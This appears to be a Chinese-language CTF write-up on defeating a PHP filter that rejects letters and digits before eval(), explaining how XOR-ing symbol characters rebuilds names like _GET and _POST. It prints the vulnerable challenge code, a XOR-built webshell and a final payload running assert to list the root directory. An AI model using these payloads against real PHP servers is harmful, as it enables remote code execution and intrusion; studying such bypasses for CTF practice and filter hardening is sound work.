Contents
  1. 1. 前言
  2. 2. 正文
    1. 2.1. 如何构造

前言

绕过不是英文字母,不是数字的验证。

1
preg_match ( string $pattern , string $subject [, array &$matches [, int $flags = 0 [, int $offset = 0 ]]] ) : int

preg_match()返回 pattern 的匹配次数。 它的值将是0次(不匹配)或1次,因为preg_match()在第一次匹配后 将会停止搜索。preg_match_all()不同于此,它会一直搜索subject 直到到达结尾。 如果发生错误preg_match()返回 FALSE。

正文

题目源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
error_reporting(0);
if(isset($_GET['code'])){
$code=$_GET['code'];
if(strlen($code)>40){
die("This is too Long.");
}
if(preg_match("/[A-Za-z0-9]+/",$code)){
die("NO.");
}
@eval($code);
}
else{
highlight_file(__FILE__);
}
highlight_file(__FILE);
// ?>

可以看到这段代码中,要求而传入的参数不能带有数字和英文字母,

所以我们要绕过A-Za-z0-9这些常规数字、字母字符串的传参。将非字母、数字的字符经过各种变换,最后能构造出 a-z 中任意一个字符,并且字符串长度小于40。然后再利用 PHP允许动态函数执行的特点,拼接处一个函数,然后执行这个函数getshell

如何构造

在PHP中,两个字符串执行异或操作以后,得到的还是一个字符串。所以,我们想得到a-z中某个字母,就找到某两个非字母、数字的字符,他们的异或结果是这个字母即可。

1
2
3
<?php
echo "A"^"?";
?>

KSYz01.png

A的ASCII值是65,对应的二进制值是01000001

?的ASCII值是63,对应的二进制值是00111111

异或的二进制的值是10000000,对应的ASCII值是126,对应的字符串的值就是~了

以此可以构造webshell

1
2
3
4
5
<?php
@$_++; //$_=NULL=0 $_++=1
$__=("#"^"|").("."^"~").("/"^"`").("|"^"/").("{"^"/"); //_POST
${$__}[!$_](${$__}[$_]); // $_POST[0]($_POST[1]);
?>

为了节省字符长度,这里字符可以一起异或使用

1
2
3
4
<?php
var_dump("#./|{"^"|~`//"); //_POST
var_dump("`{{{"^"?<>/"); //_GET
?>

最终payload

1
$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);&_=assert&__=print_r(scandir('/'))

KSUmJf.png

参考文章

参考文章

Contents
  1. 1. 前言
  2. 2. 正文
    1. 2.1. 如何构造